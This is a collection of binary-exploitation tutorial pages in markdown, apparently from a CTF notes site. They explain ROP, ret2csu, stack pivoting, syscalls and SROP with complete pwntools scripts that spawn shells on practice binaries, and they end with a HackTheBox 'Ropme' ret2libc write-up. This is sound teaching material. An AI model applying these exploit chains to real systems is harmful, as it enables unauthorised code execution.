38 | Now we're going to do something interesting - we are going to call `gets` again. Most importantly, we will tell `gets` to write the data it receives to a section of the binary. We need somewhere both readable and writeable, so I choose the GOT. We pass a GOT entry to `gets`, and when it receives the shellcode we send it will **write the shellcode into the GOT**. Now we know _exactly where the shellcode is_. To top it all off, we set the return address of our call to `gets` to where we wrote the shellcode, perfectly executing what we just inputted.
39 |
40 | ```python
41 | rop = ROP(elf)
42 |
43 | rop.raw('A' * 32)
44 | rop.gets(elf.got['puts']) # Call gets, writing to the GOT entry of puts
45 | rop.raw(elf.got['puts']) # now our shellcode is written there, we can continue execution from there
46 |
47 | p.recvline()
48 | p.sendline(rop.chain())
49 |
50 | p.sendline(asm(shellcraft.sh()))
51 |
52 | p.interactive()
53 | ```
54 |
55 | ### Final Exploit
56 |
57 | ```python
58 | from pwn import *
59 |
60 | elf = context.binary = ELF('./vuln-32')
61 | p = process()
62 |
63 | rop = ROP(elf)
64 |
65 | rop.raw('A' * 32)
66 | rop.gets(elf.got['puts']) # Call gets, writing to the GOT entry of puts
67 | rop.raw(elf.got['puts']) # now our shellcode is written there, we can continue execution from there
68 |
69 | p.recvline()
70 | p.sendline(rop.chain())
71 |
72 | p.sendline(asm(shellcraft.sh()))
73 |
74 | p.interactive()
75 | ```
76 |
77 | ## 64-bit
78 |
79 | I wonder what you could do with this.
80 |
81 | {% file src="../../../.gitbook/assets/reliable\_shellcode-64.zip" caption="Reliable Shellcode - 64-bit" %}
82 |
83 | ## ASLR
84 |
85 | No need to worry about ASLR! Neither the stack nor libc is used, save for the ROP.
86 |
87 | The real problem would be if PIE was enabled, as then you couldn't call `gets` as the location of the PLT would be unknown without a leak - same problem with writing to the GOT.
88 |
89 | ## Potential Problems
90 |
91 | Thank to [**clubby789** ](https://clubby789.me/)and [**Faith** ](https://faraz.faith/)from the HackTheBox Discord server, I found out that the GOT often has _Executable_ permissions simply because that's the default permissions when there's no NX. If you have a more recent kernel, such as `5.9.0`, the default is changed and the GOT will not have X permissions.
92 |
93 | As such, if your exploit is failing, run `uname -r` to grab the kernel version and check if it's `5.9.0`; if it is, you'll have to find another RWX region to place your shellcode \(if it exists!\).
94 |
95 |
--------------------------------------------------------------------------------
/binexp/stack/relro.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Relocation Read-Only
3 | ---
4 |
5 | # RELRO
6 |
7 | RELRO is a protection to stop any GOT overwrites from taking place, and it does so very effectively. There are two types of RELRO, which are both easy to understand.
8 |
9 | #### Partial RELRO
10 |
11 | Partial RELRO simply moves the GOT above the program's variables, meaning you can't overflow **into** the GOT. This, of course, does not prevent format string overwrites.
12 |
13 | #### Full RELRO
14 |
15 | Full RELRO makes the GOT completely read-only, so even format string exploits cannot overwrite it. This is **not** the default in binaries due to the fact that it can make it take **much** longer to load as it need to resolve all the function addresses at once.
16 |
17 |
--------------------------------------------------------------------------------
/binexp/stack/ret2csu/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Controlling registers when gadgets are lacking
3 | ---
4 |
5 | # ret2csu
6 |
7 | **ret2csu** is a technique for populating registers when there is a lack of gadgets. More information can be found in the [original paper](https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf), but a summary is as follows:
8 |
9 | When an application is dynamically compiled \(compiled with libc linked to it\), there is a selection of functions it contains to allow the linking. These functions contain **within them** a selection of gadgets that we can use to populate registers we lack gadgets for, most importantly `__libc_csu_init`, which contains the following two gadgets:
10 |
11 | ```text
12 | 0x004011a2 5b pop rbx
13 | 0x004011a3 5d pop rbp
14 | 0x004011a4 415c pop r12
15 | 0x004011a6 415d pop r13
16 | 0x004011a8 415e pop r14
17 | 0x004011aa 415f pop r15
18 | 0x004011ac c3 ret
19 | ```
20 |
21 | ```text
22 | 0x00401188 4c89f2 mov rdx, r14 ; char **ubp_av
23 | 0x0040118b 4c89ee mov rsi, r13 ; int argc
24 | 0x0040118e 4489e7 mov edi, r12d ; func main
25 | 0x00401191 41ff14df call qword [r15 + rbx*8]
26 | ```
27 |
28 | The second might not **look** like a gadget, but if you look it calls `r15 + rbx*8`. The first gadget chain allows us to control both `r15` and `rbx` in that series of huge `pop` operations, meaning whe can control where the second gadget calls afterwards.
29 |
30 | {% hint style="info" %}
31 | Note it's `call qword [r15 + rbx*8]`, not `call qword r15 + rbx*8`. This means it'll calculate `r15 + rbx*8` then **go to that memory address**, read it, and call **that value**. This mean we have to find a memory address that contains where we want to jump.
32 | {% endhint %}
33 |
34 | These gadget chains allow us, despite an apparent lack of gadgets, to populate the RDX and RSI registers \(which are important for parameters\) via the second gadget, then jump wherever we wish by simply controlling `r15` and `rbx` to workable values.
35 |
36 | This means we can potentially pull off syscalls for `execve`, or populate parameters for functions such as `write()`.
37 |
38 | {% hint style="info" %}
39 | You may wonder why we would do something like this if we're linked to libc - why not just read the GOT? Well, some functions - such as `write()` - require three parameters \(and at least 2\), so we would require ret2csu to populate them if there was a lack of gadgets.
40 | {% endhint %}
41 |
42 |
--------------------------------------------------------------------------------
/binexp/stack/ret2csu/csu-hardening.md:
--------------------------------------------------------------------------------
1 | # CSU Hardening
2 |
3 | As of [glibc 2.34](https://lwn.net/Articles/864920/), the CSU has been hardened to remove the useful gadgets. [This patch](https://sourceware.org/legacy-ml/libc-alpha/2018-06/msg00717.html) is the offendor, and it essentially removes `__libc_csu_init` (as well as a couple other functions) entirely.
4 |
5 | Unfortunately, changing this breaks the ABI (application binary interface), meaning that any binaries compiled in this way can **not** run on pre-2.34 glibc versions - which can make things quite annoying for CTF challenges if you have an outdated glibc version. Older compilations, however, **can** work on the newer versions.
6 |
--------------------------------------------------------------------------------
/binexp/stack/return-oriented-programming/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Bypassing NX
3 | ---
4 |
5 | # Return-Oriented Programming
6 |
7 | The basis of ROP is chaining together small chunks of code already present within the binary itself in such a way to do what you wish. This often involves passing parameters to functions already present within `libc`, such as `system` - if you can find the location of a command, such as `cat flag.txt`, and then pass it _as a parameter_ to `system`, it will execute that command and return the output. A more dangerous command is `/bin/sh`, which when run by `system` gives the attacker a shell much like the shellcode we used did.
8 |
9 | Doing this, however, is not as simple as it may seem at first. To be able to properly call functions, we first have to understand how to pass parameters to them.
10 |
11 | ####
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/binexp/stack/return-oriented-programming/exploiting-calling-conventions.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Utilising Calling Conventions
3 | ---
4 |
5 | # Exploiting Calling Conventions
6 |
7 | {% file src="../../../.gitbook/assets/exploiting\_with\_params.zip" caption="ret2win with Parameters" %}
8 |
9 | ### 32-bit
10 |
11 | The program expects the stack to be laid out like this before executing the function:
12 |
13 | 
14 |
15 | So why don't we provide it like that? As well as the function, we also pass the return address and the parameters.
16 |
17 | 
18 |
19 | Everything after the address of `flag()` will be part of the stack frame for the next function as it is **expected** to be there - just instead of using `push` instructions we just overwrote them manually.
20 |
21 | ```python
22 | from pwn import *
23 |
24 | p = process('./vuln-32')
25 |
26 | payload = b'A' * 52 # Padding up to EIP
27 | payload += p32(0x080491c7) # Address of flag()
28 | payload += p32(0x0) # Return address - don't care if crashes when done
29 | payload += p32(0xdeadc0de) # First parameter
30 | payload += p32(0xc0ded00d) # Second parameter
31 |
32 | log.info(p.clean())
33 | p.sendline(payload)
34 | log.info(p.clean())
35 | ```
36 |
37 | ### 64-bit
38 |
39 | Same logic, except we have to utilise the gadgets we talked about previously to fill the required registers \(in this case `rdi` and `rsi` as we have two parameters\).
40 |
41 | We have to fill the registers _before_ the function is called
42 |
43 | ```python
44 | from pwn import *
45 |
46 | p = process('./vuln-64')
47 |
48 | POP_RDI, POP_RSI_R15 = 0x4011fb, 0x4011f9
49 |
50 |
51 | payload = b'A' * 56 # Padding
52 | payload += p64(POP_RDI) # pop rdi; ret
53 | payload += p64(0xdeadc0de) # value into rdi -> first param
54 | payload += p64(POP_RSI_R15) # pop rsi; pop r15; ret
55 | payload += p64(0xc0ded00d) # value into rsi -> first param
56 | payload += p64(0x0) # value into r15 -> not important
57 | payload += p64(0x40116f) # Address of flag()
58 | payload += p64(0x0)
59 |
60 | log.info(p.clean())
61 | p.sendline(payload)
62 | log.info(p.clean())
63 | ```
64 |
65 |
--------------------------------------------------------------------------------
/binexp/stack/return-oriented-programming/gadgets.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Controlling execution with snippets of code
3 | ---
4 |
5 | # Gadgets
6 |
7 | Gadgets are small snippets of code followed by a `ret` instruction, e.g. `pop rdi; ret`. We can manipulate the `ret` of these gadgets in such a way as to string together a large chain of them to do what we want.
8 |
9 | ### Example
10 |
11 | Let's for a minute pretend the stack looks like this during the execution of a `pop rdi; ret` gadget.
12 |
13 | 
14 |
15 | What happens is fairly obvious - `0x10` gets popped into `rdi` as it is at the top of the stack during the `pop rdi`. Once the `pop` occurs, `rsp` moves:
16 |
17 | 
18 |
19 | And since `ret` is equivalent to `pop rip`, `0x5655576724` gets moved into `rip`. Note how the stack is laid out for this.
20 |
21 | ### Utilising Gadgets
22 |
23 | When we overwrite the return pointer, we overwrite the value pointed at by `rsp`. Once that value is popped, it points at the next value at the stack - but wait. We can overwrite the next value in the stack.
24 |
25 | Let's say that we want to exploit a binary to jump to a `pop rdi; ret` gadget, pop `0x100` into `rdi` then jump to `flag()`. Let's step-by-step the execution.
26 |
27 | 
28 |
29 | On the _original_ `ret`, which we overwrite the return pointer for, we pop the gadget address in. Now `rip` moves to point to the gadget, and `rsp` moves to the next memory address.
30 |
31 | 
32 |
33 | `rsp` moves to the `0x100`; `rip` to the `pop rdi`. Now when we pop, `0x100` gets moved into `rdi`.
34 |
35 | 
36 |
37 | RSP moves onto the next items on the stack, the address of `flag()`. The `ret` is executed and `flag()` is called.
38 |
39 | ### Summary
40 |
41 | Essentially, if the gadget pops values from the stack, simply place those values afterwards \(including the `pop rip` in `ret`\). If we want to pop `0x10` into `rdi` and then jump to `0x16`, our payload would look like this:
42 |
43 | 
44 |
45 | Note if you have multiple `pop` instructions, you can just add more values.
46 |
47 | 
48 |
49 | {% hint style="info" %}
50 | We use `rdi` as an example because, if you remember, that's the register for the first parameter in 64-bit. This means control of this register using this gadget is important.
51 | {% endhint %}
52 |
53 | ### Finding Gadgets
54 |
55 | We can use the tool [`ROPgadget`](https://github.com/JonathanSalwan/ROPgadget) to find possible gadgets.
56 |
57 | ```text
58 | $ ROPgadget --binary vuln-64
59 |
60 | Gadgets information
61 | ============================================================
62 | 0x0000000000401069 : add ah, dh ; nop dword ptr [rax + rax] ; ret
63 | 0x000000000040109b : add bh, bh ; loopne 0x40110a ; nop ; ret
64 | 0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401024
65 | [...]
66 | ```
67 |
68 | Combine it with `grep` to look for specific registers.
69 |
70 | ```text
71 | $ ROPgadget --binary vuln-64 | grep rdi
72 |
73 | 0x0000000000401096 : or dword ptr [rdi + 0x404030], edi ; jmp rax
74 | 0x00000000004011db : pop rdi ; ret
75 | ```
76 |
77 |
--------------------------------------------------------------------------------
/binexp/stack/return-oriented-programming/stack-alignment.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: A minor issue
3 | ---
4 |
5 | # Stack Alignment
6 |
7 | A small issue you may get when pwning on 64-bit systems is that your exploit works perfectly locally but fails remotely - or even fails when you try to use the provided LIBC version rather than your local one. This arises due to something called **stack alignment**.
8 |
9 | Essentially the [x86-64 ABI (application binary interface) guarantees 16-byte alignment on a `call` instruction](https://stackoverflow.com/questions/54393105/libcs-system-when-the-stack-pointer-is-not-16-padded-causes-segmentation-faul). LIBC takes advantage of this and uses [SSE data transfer instructions](https://docs.oracle.com/cd/E26502\_01/html/E28388/eojde.html) to optimise execution; `system` in particular utilises instructions such as `movaps`.
10 |
11 | That means that if the stack is not 16-byte aligned - that is, RSP is not a multiple of 16 - the ROP chain will fail on `system`.
12 |
13 | The fix is simple - in your ROP chain, before the call to `system`, place a singular `ret` gadget:
14 |
15 | ```python
16 | ret = elf.address + 0x2439
17 |
18 | [...]
19 | rop.raw(POP_RDI)
20 | rop.raw(0x4) # first parameter
21 | rop.raw(ret) # align the stack
22 | rop.raw(system)
23 | ```
24 |
25 | This works because it will cause RSP to be popped an additional time, pushing it forward by 8 bytes and aligning it.
26 |
--------------------------------------------------------------------------------
/binexp/stack/stack-pivoting/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Lack of space for ROP
3 | ---
4 |
5 | # Stack Pivoting
6 |
7 | ## Overview
8 |
9 | **Stack Pivoting** is a technique we use when we lack space on the stack - for example, we have 16 bytes past RIP. In this scenario, we're not able to complete a full ROP chain.
10 |
11 | During Stack Pivoting, we take control of the **RSP** register and "fake" the location of the stack. There are a few ways to do this.
12 |
13 | ### pop rsp gadget
14 |
15 | Possibly the simplest, but also the least likely to exist. If there is one of these, you're quite lucky.
16 |
17 | ### xchg <reg>, rsp
18 |
19 | If you can find a `pop ` gadget, you can then use this `xchg` gadget to swap the values with the ones in RSP. Requires about 16 bytes of stack space after the saved return pointer:
20 |
21 | ```text
22 | pop <=== return pointer
23 |
24 | xchg , rsp
25 | ```
26 |
27 | ### leave; ret
28 |
29 | This is a _very_ interesting way of stack pivoting, and it only requires 8 bytes.
30 |
31 | Every function \(except `main`\) is ended with a `leave; ret` gadget. `leave` is equivalent to
32 |
33 | ```text
34 | mov rsp, rbp
35 | pop rbp
36 | ```
37 |
38 | Note that the function ending therefore looks like
39 |
40 | ```text
41 | mov rsp, rbp
42 | pop rbp
43 | pop rip
44 | ```
45 |
46 | That means that when we overwrite RIP the 8 bytes before that overwrite RBP \(you may have noticed this before\). So, cool - we can overwrite `rbp` using `leave`. How does that help us?
47 |
48 | Well if we look at `leave` again, we noticed the value in RBP gets moved to RSP! So if we call overwrite RBP then overwrite RIP with the address of `leave; ret` again, the value in RBP gets moved to RSP. And, even better, we don't need any more stack space than just overwriting RIP, making it _very_ compressed.
49 |
50 |
--------------------------------------------------------------------------------
/binexp/stack/stack-pivoting/exploitation/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Stack Pivoting
3 | ---
4 |
5 | # Exploitation
6 |
7 | ## Source
8 |
9 | {% file src="../../../../.gitbook/assets/stack_pivoting (1).zip" %}
10 |
11 | ```c
12 | // gcc source.c -o vuln -no-pie
13 | #include
14 |
15 | void winner(int a, int b) {
16 | if(a == 0xdeadbeef && b == 0xdeadc0de) {
17 | puts("Great job!");
18 | return;
19 | }
20 | puts("Whelp, almost...?");
21 | }
22 |
23 | void vuln() {
24 | char buffer[0x60];
25 | printf("Try pivoting to: %p\n", buffer);
26 | fgets(buffer, 0x80, stdin);
27 | }
28 |
29 | int main() {
30 | vuln();
31 | return 0;
32 | }
33 | ```
34 |
35 | It's fairly clear what the aim is - call `winner()` with the two correct parameters. The `fgets()` means there's a limited number of bytes we can overflow, and it's not enough for a regular ROP chain. There's also a **leak** to the start of the buffer, so we know where to set RSP to.
36 |
37 | We'll try two ways - using `pop rsp`, and using `leave; ret`. There's no `xchg` gadget, but it's virtually identical to just popping RSP anyway.
38 |
39 | Since I **assume** you know how to calculate padding, I'll tell you there's 96 until we overwrite stored RBP and 104 (as expected) until stored RIP.
40 |
41 | ### Basic Setup
42 |
43 | Just to get the basics out of the way, as this is common to both approaches:
44 |
45 | ```python
46 | from pwn import *
47 |
48 | elf = context.binary = ELF('./vuln')
49 | p = process()
50 |
51 | p.recvuntil('to: ')
52 | buffer = int(p.recvline(), 16)
53 | log.success(f'Buffer: {hex(buffer)}')
54 | ```
55 |
--------------------------------------------------------------------------------
/binexp/stack/stack-pivoting/exploitation/leave.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Using leave; ret to stack pivot
3 | ---
4 |
5 | # leave
6 |
7 | ## Exploitation
8 |
9 | By calling `leave; ret` twice, as described, this happens:
10 |
11 | ```text
12 | mov rsp, rbp
13 | pop rbp
14 | mov rsp, rbp
15 | pop rbp
16 | ```
17 |
18 | By controlling the value popped into RBP, we can control RSP.
19 |
20 | ### Gadgets
21 |
22 | As before, but with a difference:
23 |
24 | ```text
25 | $ ROPgadget --binary vuln | grep 'leave'
26 | 0x000000000040117c : leave ; ret
27 | ```
28 |
29 | ```python
30 | LEAVE_RET = 0x40117c
31 | POP_RDI = 0x40122b
32 | POP_RSI_R15 = 0x401229
33 | ```
34 |
35 | ### Testing the leave
36 |
37 | I won't bother stepping through it again - if you want that, check out the [pop rsp walkthrough](pop-rsp.md).
38 |
39 | ```python
40 | payload = flat(
41 | 'A' * 96,
42 | buffer,
43 | LEAVE_RET
44 | )
45 |
46 | pause()
47 | p.sendline(payload)
48 | print(p.recvline())
49 | ```
50 |
51 | Essentially, that pops `buffer` into RSP \(as described previously\).
52 |
53 | ### Full Payload
54 |
55 | You might be tempted to just chuck the payload into the buffer and boom, RSP points there, but you can't quite - as with the previous approach, there is a `pop` instruction that needs to be accounted for - again, remember `leave` is
56 |
57 | ```text
58 | mov rsp, rbp
59 | pop rbp
60 | ```
61 |
62 | So once you overwrite RSP, you still need to give a value for the `pop rbp`.
63 |
64 | ```python
65 | payload = flat(
66 | 0x0, # account for final "pop rbp"
67 | POP_RDI,
68 | 0xdeadbeef,
69 | POP_RSI_R15,
70 | 0xdeadc0de,
71 | 0x0, # r15
72 | elf.sym['winner']
73 | )
74 |
75 | payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
76 |
77 | payload += flat(
78 | buffer,
79 | LEAVE_RET
80 | )
81 | ```
82 |
83 | ## Final Exploit
84 |
85 | ```python
86 | from pwn import *
87 |
88 | elf = context.binary = ELF('./vuln')
89 | p = process()
90 |
91 | p.recvuntil('to: ')
92 | buffer = int(p.recvline(), 16)
93 | log.success(f'Buffer: {hex(buffer)}')
94 |
95 | LEAVE_RET = 0x40117c
96 | POP_RDI = 0x40122b
97 | POP_RSI_R15 = 0x401229
98 |
99 | payload = flat(
100 | 0x0, # rbp
101 | POP_RDI,
102 | 0xdeadbeef,
103 | POP_RSI_R15,
104 | 0xdeadc0de,
105 | 0x0,
106 | elf.sym['winner']
107 | )
108 |
109 | payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
110 |
111 | payload += flat(
112 | buffer,
113 | LEAVE_RET
114 | )
115 |
116 | pause()
117 | p.sendline(payload)
118 | print(p.recvline())
119 | ```
120 |
121 |
--------------------------------------------------------------------------------
/binexp/stack/syscalls/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Interfacing directly with the kernel
3 | ---
4 |
5 | # Syscalls
6 |
7 | ### Overview
8 |
9 | A **syscall** is a **sys**tem **call**, and is how the program enters the kernel in order to carry out specific tasks such as creating processes, I/O and any others they would require kernel-level access.
10 |
11 | Browsing the [list of syscalls](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md), you may notice that certain syscalls are similar to libc functions such as `open()`, `fork()` or `read()`; this is because these functions are simply wrappers _around_ the syscalls, making it much easier for the programmer.
12 |
13 | ### Triggering Syscalls
14 |
15 | On Linux, a syscall is triggered by the `int80` instruction. Once it's called, the kernel checks the value stored in RAX - this is the **syscall number**, which defines **what syscall gets run**. As per the table, the other parameters can be stored in RDI, RSI, RDX, etc and every parameter has a different meaning for the different syscalls.
16 |
17 | ### Execve
18 |
19 | A notable syscall is the `execve` syscall, which executes the program passed to it in RDI. RSI and RDX hold `arvp` and `envp` respectively.
20 |
21 | This means, if there is no `system()` function, we can use `execve` to call `/bin/sh` instead - all we have to do is pass in a pointer to `/bin/sh` to RDI, and populate RSI and RDX with `0` \(this is because both `argv` and `envp` need to be `NULL` to pop a shell\).
22 |
23 |
--------------------------------------------------------------------------------
/binexp/stack/syscalls/exploitation-with-syscalls.md:
--------------------------------------------------------------------------------
1 | # Exploitation with Syscalls
2 |
3 | ### The Source
4 |
5 | {% file src="../../../.gitbook/assets/syscalls.zip" caption="Syscalls" %}
6 |
7 | To make it super simple, I made it in assembly using pwntools:
8 |
9 | ```python
10 | from pwn import *
11 |
12 | context.arch = 'amd64'
13 | context.os = 'linux'
14 |
15 | elf = ELF.from_assembly(
16 | '''
17 | mov rdi, 0;
18 | mov rsi, rsp;
19 | sub rsi, 8;
20 | mov rdx, 300;
21 | syscall;
22 | ret;
23 |
24 | pop rax;
25 | ret;
26 | pop rdi;
27 | ret;
28 | pop rsi;
29 | ret;
30 | pop rdx;
31 | ret;
32 | '''
33 | )
34 | elf.save('vuln')
35 | ```
36 |
37 | The binary contains all the gadgets you need! First it executes a `read` syscall, writes to the stack, then the `ret` occurs and you can gain control.
38 |
39 | But what about the `/bin/sh`? I slightly cheesed this one and couldn't be bothered to add it to the assembly, so I just did:
40 |
41 | ```bash
42 | echo -en "/bin/sh\x00" >> vuln
43 | ```
44 |
45 | ### Exploitation
46 |
47 | As we mentioned before, we need the following layout in the registers:
48 |
49 | ```text
50 | RAX: 0x3b
51 | RDI: pointer to /bin/sh
52 | RSI: 0x0
53 | RDX: 0x0
54 | ```
55 |
56 | To get the address of the gadgets, I'll just do `objdump -d vuln`. The address of `/bin/sh` can be gotten using strings:
57 |
58 | ```text
59 | $ strings -t x vuln | grep bin
60 | 1250 /bin/sh
61 | ```
62 |
63 | The **offset** from the base to the string is `0x1250` \(`-t x` tells `strings` to print the offset as hex\). Armed with all this information, we can set up the constants:
64 |
65 | ```python
66 | from pwn import *
67 |
68 | elf = context.binary = ELF('./vuln')
69 | p = process()
70 |
71 | binsh = elf.address + 0x1250
72 |
73 | POP_RAX = 0x10000018
74 | POP_RDI = 0x1000001a
75 | POP_RSI = 0x1000001c
76 | POP_RDX = 0x1000001e
77 | SYSCALL = 0x10000015
78 | ```
79 |
80 | Now we just need to populate the registers. I'll tell you the padding is `8` to save time:
81 |
82 | ```python
83 | payload = flat(
84 | 'A' * 8,
85 | POP_RAX,
86 | 0x3b,
87 | POP_RDI,
88 | binsh,
89 | POP_RSI,
90 | 0x0,
91 | POP_RDX,
92 | 0X0,
93 | SYSCALL
94 | )
95 |
96 | p.sendline(payload)
97 | p.interactive()
98 | ```
99 |
100 | And wehey - we get a shell!
101 |
102 |
--------------------------------------------------------------------------------
/binexp/stack/syscalls/sigreturn-oriented-programming-srop/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Controlling all registers at once
3 | ---
4 |
5 | # Sigreturn-Oriented Programming \(SROP\)
6 |
7 | ### Overview
8 |
9 | A **sigreturn** is a special type of [syscall](../). The purpose of sigreturn is to return from the **signal handler** and to clean up the stack frame after a signal has been unblocked.
10 |
11 | What this involves is storing _all_ the register values on the stack. Once the signal is unblocked, all the values are popped back in \(RSP points to the bottom of the **sigreturn frame**, this collection of register values\).
12 |
13 | ### Exploitation
14 |
15 | By leveraging a `sigreturn`, we can control _all register values at once_ - amazing! Yet this is also a drawback - we can't pick-and-choose registers, so if we don't have a stack leak it'll be hard to set registers like RSP to a workable value. Nevertheless, this is a super powerful technique - especially with limited gadgets.
16 |
17 |
--------------------------------------------------------------------------------
/binexp/stack/syscalls/sigreturn-oriented-programming-srop/using-srop.md:
--------------------------------------------------------------------------------
1 | # Using SROP
2 |
3 | ## Source
4 |
5 | As with the [syscalls](../exploitation-with-syscalls.md#the-source), I made the binary using the pwntools ELF features:
6 |
7 | ```python
8 | from pwn import *
9 |
10 | context.arch = 'amd64'
11 | context.os = 'linux'
12 |
13 | elf = ELF.from_assembly(
14 | '''
15 | mov rdi, 0;
16 | mov rsi, rsp;
17 | sub rsi, 8;
18 | mov rdx, 500;
19 | syscall;
20 | ret;
21 |
22 | pop rax;
23 | ret;
24 | ''', vma=0x41000
25 | )
26 | elf.save('vuln')
27 | ```
28 |
29 | It's quite simple - a `read` syscall, followed by a `pop rax; ret` gadget. You can't control RDI/RSI/RDX, which you need to pop a shell, so you'll have to use SROP.
30 |
31 | Once again, I added `/bin/sh` to the binary:
32 |
33 | ```bash
34 | echo -en "/bin/bash\x00" >> vuln
35 | ```
36 |
37 | ## Exploitation
38 |
39 | First let's plonk down the available gadgets and their location, as well as the location of `/bin/sh`.
40 |
41 | ```python
42 | from pwn import *
43 |
44 | elf = context.binary = ELF('./vuln', checksec=False)
45 | p = process()
46 |
47 | BINSH = elf.address + 0x1250
48 | POP_RAX = 0x41018
49 | SYSCALL_RET = 0x41015
50 | ```
51 |
52 | From here, I suggest you try the payload yourself. The padding \(as you can see in the assembly\) is `8` bytes until RIP, then you'll need to trigger a `sigreturn`, followed by the values of the registers.
53 |
54 |
55 |
56 | The triggering of a `sigreturn` is easy - sigreturn is syscall `0xf` \(`15`\), so we just pop that into RAX and call `syscall`:
57 |
58 | ```python
59 | payload = b'A' * 8
60 | payload += p64(POP_RAX)
61 | payload += p64(0xf)
62 | payload += p64(SYSCALL_RET)
63 | ```
64 |
65 | Now the syscall looks at the location of RSP for the register values; we'll have to fake them. They have to be in a specific order, but luckily for us pwntools has a cool feature called a `SigreturnFrame()` that handles the order for us.
66 |
67 | ```text
68 | frame = SigreturnFrame()
69 | ```
70 |
71 | Now we just need to decide what the register values should be. We want to trigger an `execve()` syscall, so we'll set the registers to the values we need for that:
72 |
73 | ```python
74 | frame.rax = 0x3b # syscall number for execve
75 | frame.rdi = BINSH # pointer to /bin/sh
76 | frame.rsi = 0x0 # NULL
77 | frame.rdx = 0x0 # NULL
78 | ```
79 |
80 | However, in order to trigger this we **also have to control RIP** and point it back at the `syscall` gadget, so the execve actually executes:
81 |
82 | ```python
83 | frame.rip = SYSCALL_RET
84 | ```
85 |
86 | We then append it to the payload and send.
87 |
88 | ```python
89 | payload += bytes(frame)
90 |
91 | p.sendline(payload)
92 | p.interactive()
93 | ```
94 |
95 | 
96 |
97 | ### Final Exploit
98 |
99 | ```python
100 | from pwn import *
101 |
102 | elf = context.binary = ELF('./vuln', checksec=False)
103 | p = process()
104 |
105 | BINSH = elf.address + 0x1250
106 | POP_RAX = 0x41018
107 | SYSCALL_RET = 0x41015
108 |
109 | frame = SigreturnFrame()
110 | frame.rax = 0x3b # syscall number for execve
111 | frame.rdi = BINSH # pointer to /bin/sh
112 | frame.rsi = 0x0 # NULL
113 | frame.rdx = 0x0 # NULL
114 | frame.rip = SYSCALL_RET
115 |
116 | payload = b'A' * 8
117 | payload += p64(POP_RAX)
118 | payload += p64(0xf)
119 | payload += p64(SYSCALL_RET)
120 | payload += bytes(frame)
121 |
122 | p.sendline(payload)
123 | p.interactive()
124 | ```
125 |
126 |
127 |
128 |
--------------------------------------------------------------------------------
/challenges/dream-diary-chapter-1/chunk-overlap.md:
--------------------------------------------------------------------------------
1 | # Chunk Overlap
2 |
3 | ## Summary
4 |
5 | TODO
6 |
7 |
--------------------------------------------------------------------------------
/challenges/ropme.md:
--------------------------------------------------------------------------------
1 | # Ropme
2 |
3 | ## Overview
4 |
5 | [Ropme ](https://app.hackthebox.eu/challenges/8)was an 80pts challenge rated as `Hard` on HackTheBox. Personally, I don't believe it should have been a hard; the technique used is fairly common and straightforward, and the high points and difficulty is probably due to it being one of the first challenge on the platform.
6 |
7 | Exploiting the binary involved executing a [ret2plt ](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got#ret-2-plt)attack in order to leak the libc version before gaining RCE using a [ret2libc](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc).
8 |
9 | ## Analysis
10 |
11 | ```text
12 | $ ./ropme
13 | ROP me outside, how 'about dah?
14 | test
15 | ```
16 |
17 | One output, one input, then the program breaks.
18 |
19 | ```text
20 | $ rabin2 -I ropme
21 | bits 64
22 | canary false
23 | nx true
24 | pic false
25 | relro partial
26 | ```
27 |
28 | No PIE, meaning we can pull off the [ret2plt](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got#ret-2-plt). Let's leak the libc version.
29 |
30 | ```python
31 | from pwn import *
32 |
33 | elf = context.binary = ELF('./ropme')
34 | libc = elf.libc
35 | p = elf.process()
36 |
37 | # ret2plt
38 | rop = ROP(elf)
39 |
40 | rop.raw('A' * 72)
41 | rop.puts(elf.got['puts'])
42 | rop.raw(elf.symbols['main'])
43 |
44 | p.sendline(rop.chain())
45 |
46 | # read the leaked puts address
47 | p.recvline()
48 | puts = u64(p.recv(6) + b'\x00\x00')
49 | log.success(f'Leaked puts: {hex(puts)}')
50 |
51 | # Get base
52 | libc.address = puts - libc.symbols['puts']
53 | log.success(f'Libc base: {hex(libc.address)}')
54 | ```
55 |
56 | We can now leak other symbols in order to pinpoint the libc version, for which you can use something like [here](https://libc.blukat.me/). Once you've done that, it's a simple [ret2libc](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc).
57 |
58 | ## Final Exploit
59 |
60 | ```python
61 | from pwn import *
62 |
63 | elf = context.binary = ELF('./ropme')
64 |
65 | if args.REMOTE:
66 | libc = ELF('./libc-remote.so', checksec=False)
67 | p = remote('docker.hackthebox.eu', 31919)
68 | else:
69 | libc = elf.libc
70 | p = elf.process()
71 |
72 | # ret2plt
73 | rop = ROP(elf)
74 |
75 | rop.raw('A' * 72)
76 | rop.puts(elf.got['puts'])
77 | rop.raw(elf.symbols['main'])
78 |
79 | p.sendline(rop.chain())
80 |
81 | ### Pad with \x00 to get to correct length of 8 bytes
82 | p.recvline()
83 | puts = u64(p.recv(6) + b'\x00\x00')
84 | log.success(f'Leaked puts: {hex(puts)}')
85 |
86 | # Get base
87 | libc.address = puts - libc.symbols['puts']
88 | log.success(f'Libc base: {hex(libc.address)}')
89 |
90 |
91 | # ret2libc
92 | binsh = next(libc.search(b'/bin/sh\x00'))
93 |
94 | rop = ROP(libc)
95 | rop.raw('A' * 72)
96 | rop.system(binsh)
97 |
98 | p.sendline(rop.chain())
99 |
100 | p.interactive()
101 |
